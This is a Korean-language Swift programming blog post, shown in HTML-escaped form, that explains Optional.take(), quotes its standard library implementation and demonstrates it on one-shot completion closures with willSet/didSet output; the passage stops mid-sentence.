    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p&gt;Swift에서 Optional 값을 다룰 때는 보통 &lt;code class="language-plaintext highlighter-rouge"&gt;if let&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;guard let&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;map&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;flatMap&lt;/code&gt; 같은 방법을 사용합니다.&lt;/p&gt;

&lt;p&gt;그런데 가끔은 Optional에 들어 있는 값을 꺼내서 사용한 뒤, 기존 저장값은 바로 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;로 비워야 하는 경우가 있습니다.&lt;/p&gt;

&lt;p&gt;예를 들어 한 번만 실행되어야 하는 Closure를 Optional로 들고 있는 경우를 생각해볼 수 있습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="kt"&gt;Loader&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)?&lt;/span&gt;

  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;@escaping&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;completion&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 코드는 크게 문제 없어 보입니다. 하지만 &lt;code class="language-plaintext highlighter-rouge"&gt;completion&lt;/code&gt;을 호출한 뒤에 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;을 넣는 코드는 매번 같이 따라다녀야 합니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nf"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;만약 성공, 실패, 취소 같은 분기가 여러 곳에 있다면 이 패턴이 반복될 수 있습니다. 그리고 어떤 분기에서 &lt;code class="language-plaintext highlighter-rouge"&gt;completion = nil&lt;/code&gt;을 빼먹으면 같은 Closure가 다시 호출될 여지가 생깁니다.&lt;/p&gt;

&lt;p&gt;이럴 때 Optional 값을 꺼내면서 동시에 원본을 비우는 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt; 함수를 사용할 수 있습니다.&lt;/p&gt;

&lt;h2 id="take"&gt;take&lt;/h2&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt; 함수의 역할은 단순합니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Optional에 값이 있으면 그 값을 반환합니다.&lt;/li&gt;
  &lt;li&gt;원래 Optional 값은 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;로 바꿉니다.&lt;/li&gt;
  &lt;li&gt;값이 없으면 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;을 반환합니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Swift 표준 라이브러리에 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt; 함수가 구현되어 있습니다. 현재 구현은 Swift 리포지토리의 &lt;code class="language-plaintext highlighter-rouge"&gt;stdlib/public/core/Optional.swift&lt;/code&gt; 파일에서 확인할 수 있습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;extension&lt;/span&gt; &lt;span class="kt"&gt;Optional&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="kt"&gt;Wrapped&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="kt"&gt;Copyable&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="kt"&gt;Escapable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;@_alwaysEmitIntoClient&lt;/span&gt;
  &lt;span class="kd"&gt;@lifetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="k"&gt;mutating&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;consume&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;핵심 동작만 단순하게 표현하면 다음 코드와 같습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;extension&lt;/span&gt; &lt;span class="kt"&gt;Optional&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;mutating&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Wrapped&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;Optional&lt;/code&gt;은 enum이지만 &lt;code class="language-plaintext highlighter-rouge"&gt;var&lt;/code&gt;로 선언된 값이라면 &lt;code class="language-plaintext highlighter-rouge"&gt;mutating&lt;/code&gt; 함수를 통해 자기 자신을 변경할 수 있습니다. 여기서는 현재 값을 &lt;code class="language-plaintext highlighter-rouge"&gt;value&lt;/code&gt;에 담아두고, &lt;code class="language-plaintext highlighter-rouge"&gt;self&lt;/code&gt;를 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;로 비운 뒤, 이전 값을 반환합니다.&lt;/p&gt;

&lt;p&gt;표준 라이브러리 구현은 이보다 조금 더 복잡합니다. &lt;code class="language-plaintext highlighter-rouge"&gt;Wrapped: ~Copyable &amp;amp; ~Escapable&lt;/code&gt; 조건과 &lt;code class="language-plaintext highlighter-rouge"&gt;consume self&lt;/code&gt;가 들어가는데, 이는 Swift의 ownership 모델을 반영한 구현입니다. 단순히 값을 복사해두는 것이 아니라, 현재 Optional 값을 소비하면서 꺼내고, 원본 자리에는 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;을 다시 넣습니다.&lt;/p&gt;

&lt;p&gt;반환 타입도 &lt;code class="language-plaintext highlighter-rouge"&gt;Wrapped?&lt;/code&gt;가 아니라 &lt;code class="language-plaintext highlighter-rouge"&gt;Self&lt;/code&gt;입니다. &lt;code class="language-plaintext highlighter-rouge"&gt;Optional&lt;/code&gt; 안에서 &lt;code class="language-plaintext highlighter-rouge"&gt;Self&lt;/code&gt;는 현재 Optional 타입 자체를 의미하므로, &lt;code class="language-plaintext highlighter-rouge"&gt;String?&lt;/code&gt;에서 호출하면 반환 타입은 &lt;code class="language-plaintext highlighter-rouge"&gt;String?&lt;/code&gt;가 됩니다.&lt;/p&gt;

&lt;p&gt;간단한 예제로 보면 동작이 더 명확합니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Swift"&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Optional("Swift")&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;// nil&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;값을 한 번 꺼낸 뒤 원래 Optional은 비워졌습니다.&lt;/p&gt;

&lt;h2 id="closure에-적용하기"&gt;Closure에 적용하기&lt;/h2&gt;

&lt;p&gt;처음 예제를 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;로 바꾸면 다음과 같습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="kt"&gt;Loader&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)?&lt;/span&gt;

  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;@escaping&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;completion&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()?(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;completion.take()&lt;/code&gt;는 현재 Closure를 반환하고, &lt;code class="language-plaintext highlighter-rouge"&gt;completion&lt;/code&gt; 프로퍼티는 바로 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;이 됩니다. 이후 반환된 Closure에 &lt;code class="language-plaintext highlighter-rouge"&gt;?(result)&lt;/code&gt;를 호출합니다.&lt;/p&gt;

&lt;p&gt;즉 아래 두 줄을 하나의 의도로 묶을 수 있습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completion&lt;/span&gt;
&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
&lt;span class="nf"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;를 사용하면 “값을 사용한다”와 “저장된 값을 비운다”는 동작이 분리되지 않습니다. 이 점이 가장 큰 장점입니다.&lt;/p&gt;

&lt;h2 id="왜-호출-전에-비우는-것이-좋은가"&gt;왜 호출 전에 비우는 것이 좋은가&lt;/h2&gt;

&lt;p&gt;Closure를 호출한 뒤에 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;로 비우는 방식은 대부분의 경우 문제가 없습니다.&lt;/p&gt;

&lt;p&gt;하지만 Closure 내부에서 다시 같은 객체를 건드리거나, 동기적으로 다른 흐름을 실행하는 경우를 생각하면 호출 전에 저장값을 비워두는 편이 더 안전할 때가 있습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 방식에서는 &lt;code class="language-plaintext highlighter-rouge"&gt;completion&lt;/code&gt;이 실행되는 동안 아직 프로퍼티에 Closure가 남아 있습니다.&lt;/p&gt;

&lt;p&gt;반면 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;를 사용하면 Closure 실행 전에 프로퍼티가 먼저 비워집니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()?(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;한 번만 실행되어야 하는 콜백이라면 이 순서가 더 의도를 잘 드러냅니다. “꺼내는 순간 소유권을 넘기고, 저장소는 비운다”는 흐름에 가깝습니다.&lt;/p&gt;

&lt;h2 id="willset과-didset으로-변경-순서-확인하기"&gt;willSet과 didSet으로 변경 순서 확인하기&lt;/h2&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;가 실제로 언제 Optional 값을 비우는지 &lt;code class="language-plaintext highlighter-rouge"&gt;willSet&lt;/code&gt;과 &lt;code class="language-plaintext highlighter-rouge"&gt;didSet&lt;/code&gt;을 이용해 확인할 수 있습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="kt"&gt;Loader&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;willSet&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"willSet: newValue is nil ="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newValue&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"willSet: current is nil ="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;didSet&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"didSet: completion is nil ="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;completion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"completion 실행"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"finish 시작"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()?()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"finish 종료"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;loader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Loader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;출력 순서는 다음과 같습니다.&lt;/p&gt;

&lt;div class="language-text highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;willSet: newValue is nil = false
willSet: current is nil = true
didSet: completion is nil = false
finish 시작
willSet: newValue is nil = true
willSet: current is nil = false
didSet: completion is nil = true
completion 실행
finish 종료
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;prepare()&lt;/code&gt;에서 Closure를 저장할 때는 &lt;code class="language-plaintext highlighter-rouge"&gt;newValue&lt;/code&gt;가 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;이 아니고, 기존 &lt;code class="language-plaintext highlighter-rouge"&gt;completion&lt;/code&gt;은 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;입니다. 반대로 &lt;code class="language-plaintext highlighter-rouge"&gt;take()&lt;/code&gt;가 호출될 때는 &lt;code class="language-plaintext highlighter-rouge"&gt;newValue&lt;/code&gt;가 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;이고, 기존 &lt;code class="language-plaintext highlighter-rouge"&gt;completion&lt;/code&gt;에는 아직 